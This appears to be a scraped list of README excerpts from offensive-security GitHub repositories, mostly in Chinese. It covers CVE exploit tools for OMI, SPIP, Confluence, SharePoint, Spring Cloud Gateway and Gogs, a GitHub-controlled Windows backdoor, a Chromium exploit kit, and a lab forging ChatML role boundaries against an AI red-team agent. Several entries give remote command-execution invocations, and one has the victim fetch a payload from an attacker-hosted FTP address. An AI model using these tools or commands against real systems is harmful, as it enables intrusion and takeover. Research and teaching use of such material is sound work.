Exploiting-a-vulnerability-using-reverse-shell

信息安全基础 — 2026年春季项目 总分：20分 | 截止日期：不接受迟交 概述 本项目模拟了跨两台虚拟机的真实攻击与防御场景。你将利用 Erlang/OTP SSH 服务器中的一个关键预认证 RCE 漏洞（CVE-2025-32433），破解提取的密码哈希，然后通过防火墙规则和补丁加固受害者机器。 角色| 操作系统 ---|--- 攻击者| Kali Linux 受害者| Ubuntu/Debian Erlang/OTP SSH v27.3.2 文件 文件| 描述 ---|--- Debian-1.ova| 预构建的受害者虚拟机镜像 — 需单独下载，参见资源 （因过大无法放在...

OMIGOD_cve-2021-38647

OMIGODcve-2021-38647 CVE-2021-38647 是一个未认证的远程代码执行漏洞，影响 OMI 代理并以 root 权限运行。 执行载荷时 更改 HOST 命令：将你的命令替换为 Command here。例如 id、whoami 等 致谢 https://github.com/horizon3ai/CVE-2021-38647 关注我们 Vulnmachines YouTube Twitter Facebook LinkedIn...

CVE-2025-32433_Erlang-OTP_PoC

CVE-2025-32433Erlang-OTP 该脚本是一个自定义安全工具，用于检测运行基于Erlang的SSH服务器系统中的关键预认证漏洞。 该脚本是一个自定义安全工具，用于检测运行基于Erlang的SSH服务器系统（例如嵌入式系统、物联网设备和某些后端服务中使用的系统）中的关键预认证漏洞。所测试的漏洞类似于CVE-2025-32433，该漏洞允许在SSH握手阶段进行未认证的远程命令执行。 工作原理 目标枚举： 接受单个IP:端口或从ips.txt和ports.txt中批量获取IP和端口。 逐行匹配IP和端口，以系统化地扫描环境。 SSH协议模拟：...

CVE-2024-7954

CVE-2024-7954 此漏洞利用程序将尝试在SPIP目标上执行系统命令CVE-2024-7954。 概述 这是一个针对CVE-2024-7954的批量扫描与利用工具：SPIP 4.2.8允许未经认证的攻击者在SPIP目标上执行远程代码执行。该工具基于此安全研究。 使用方法 安装脚本依赖： pip install -r requirements.txt 选项： POC for SPIP 4.2.8 vulnerability options: -h, --help show this help message and exit -u U Target URL, example...

canisrufus

CanisRufus 一个基于 Python 的 Windows 隐蔽后门，利用 Github 作为命令与控制服务器。 要求 Python 2.x pygithub3 模块 PyCrypto 模块 WMI 模块 Enum34 模块 Netifaces 模块 pypiwin32 模块 功能 加密传输消息 AES + SHA256 哈希 使用系统信息/特征生成计算机唯一 ID SHA256 哈希 任务 ID 为随机 SHA256 哈希 获取系统信息 获取地理位置信息 城市、国家、纬度、经度等 获取正在运行的进程/系统服务/系统用户/设备 硬件 获取客户端列表 执行系统命令 从客户端下载文件...

CVE-2024-42640

CVE-2024-42640 angular-bug CVE-2024-42640 通过 Angular-Base64-Upload 库实现的未认证远程代码执行 更多详情：博客 简介 angular-base64-upload v0.1.21 之前的版本容易受到通过 angular-base64-upload/demo/server.php 端点进行的未认证远程代码执行攻击。利用此漏洞，攻击者可以向服务器上传任意文件内容，随后可通过 angular-base64-upload/demo/uploads 端点访问这些文件。这会导致先前上传的内容被执行，并最终使攻击者能够在服务器上实现代码执...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、将 cmd.vm 放到你的网站上（必须使用 ftp 或 https，http 不起作用） 2、修改 RCEexp.py，将 filename 改为 'ftp://1.1.1.1/cmd.vm'（python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py http://test.wikitest.cc:8080 "id" uid=0root...

CVE-2022-26134

pip3 install -r requirements.txt 使用: python3 exp.py url "cmd" 示例: python3 exp.py http://192.168.1.1/ whoami...

CVE-2022-22947

CVE-2022-22947 Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。 漏洞环境 git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml docker-compose up -d 漏洞利用 向routes接口中发送如下数据包： POST...

cve-2026-61732-lab

CVE-2026-61732 — Decepticon ChatML role-boundary forgery lab A self-contained, disposable lab that reproduces GHSA-g5f9-3xfg-p9mf / CVE-2026-61732: Decepticon , an autonomous red-team agent, wrapped web-crawl output into LLM messages without neutralizing ChatML special-token literals. On a...

VectorFreed

VectorFreed Abstract This document introduces "VectorFreed", a vulnerability chain that begins with a use-after-free I @rafabd1 found in librsvg CVE-2026-96889. In a Node.js/Sharp/libvips build, this bug led to command execution. It covers the bug, the paths confirmed in applications so far, and...

CVE-2019-12744

CVE-2019-12744 信息 漏洞标题：SeedDMS 版本 5.1.11 中通过未验证文件上传导致的远程命令执行 CVE：CVE-2019-12744 厂商主页：https://www.seeddms.org/index.php?id=2 漏洞作者：NobodyAtall 测试版本：Seeddms 5.1.10, 5.0.11 测试操作系统：Windows 7 x64 Medium 文章...

CVE-2017-11176

CVE-2017-11176 CVE-2017-11176 的代码执行概念验证。 漏洞 Linux 内核（直至 4.11.9）中的 mqnotify 函数在进入重试逻辑时未将 sock 指针设置为 NULL。在用户空间关闭 Netlink 套接字期间，攻击者可利用此漏洞导致拒绝服务（释放后使用）或可能造成其他未指明的影响。 参考 https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html...

cve-2026-26114-poc

CVE-2026-26114 仅限在实验室或获准测试的系统中使用。 Python PoC pip install requests requests-ntlm python poc/cve202626114rce.py ^ --target http://sharepoint.local ^ --username spuser1 ^ --password "Password123!" ^ --domain SP19 ^ --cmd "cmd /c whoami C:\Windows\Temp\cve202626114.txt" 可以使用 --proxy...

amcache-evilhunter

AmCache-EvilHunter AmCache-EvilHunter 是一个命令行工具，用于解析和分析 Windows Amcache.hve 注册表配置单元，识别执行痕迹、可疑可执行文件，并集成 VirusTotal/OpenTIP 查询以增强威胁情报。 https://github.com/user-attachments/assets/e23fb99b-48ad-4260-b372-2f15e5320c74 功能特性 解析离线 Amcache.hve 注册表配置单元。 按日期范围筛选记录（--start、--end）。 使用关键词搜索记录（--search）。...

Aladdin

Aladdin .-. .-''-., | //\ ";\ "/ \ , |'./ \ '='-, /\ \ || ///\ '. T |\ | /,-' '. '..-' /'/ | | '. .'-../ ,\ / '-' |/ /-----j .--..--'\ / --' '---. / '---. -'. .' .-- '. \ '--. ;.-o / '. /.8----' c-'----' Lefty @lefterispan - Nettitude Red Team - 2022 / 2023 关于 Aladdin 是基于 James Forshaw...

CVE-2024-30051

Windows DWM Core Library 特权提升漏洞 CVE-2024-30051（发布于 2024 年 8 月 15 日） 在本博客文章中，我将解释 Microsoft Windows DWM Core 库中的一个漏洞，该漏洞是在为 Core Impact 开发利用程序时分析的。该漏洞允许无特权的攻击者以具有 Integrity System 权限的 DWM 用户身份执行代码 CVE-2024-30051。 由于当时没有足够的公开信息来开发利用程序，我不得不进行大量逆向工作，因此这里我将展示如何使用 IDA PRO 逆向 Windows 23H2 的 KB5037771...

chromium-exploit-dev

Chromium 漏洞利用开发工具包 一个用于将 Chromium 漏洞武器化为可靠、跨平台、全链路漏洞利用的工具包。 概述 本项目提供一组强大的辅助脚本，但需要您自带漏洞。您负责实现最小化的漏洞利用原语，其余一切由工具包处理。 自定义漏洞利用链依赖于 main.js 脚本文件，它允许您有选择地将自己的漏洞与工具包的辅助脚本一起包含进来： // Exploit settings let loglevel = 5; let runinworker = false; // Exploit chain async function main // Common helpers await...

cve-2020-0618

Honeypot CVE-2020-0618 Detecta y registra intentos de explotar CVE-020-0618 RCE en SQL Reporting Services Sirve contenido y cabeceras como lo haría SSRS, para aumentar las posibilidades de indexación en motores de búsqueda ej. google, shodan, etc. Basado en el gran trabajo de MDSec y x1sec...

gogsownz

GogsOwnz GogsOwnz 是一个简单的脚本，用于在 Gogs/Gitea 服务器上获取管理员权限和远程代码执行（RCE）。 利用 Gogs/Gitea 的漏洞，包括 CVE-2018-18925 、CVE-2018-20303 。 法律免责声明 本脚本按原样提供，无任何担保，请自行使用并遵守法律。 典型用法 - 请阅读完整用法 获取正在运行的 Gogs/Gitea 信息 python3 gogsownz.py https://127.0.0.1:3000/ -v --info 利用预授权权限提升（PrivEsc） python3 gogsownz.py...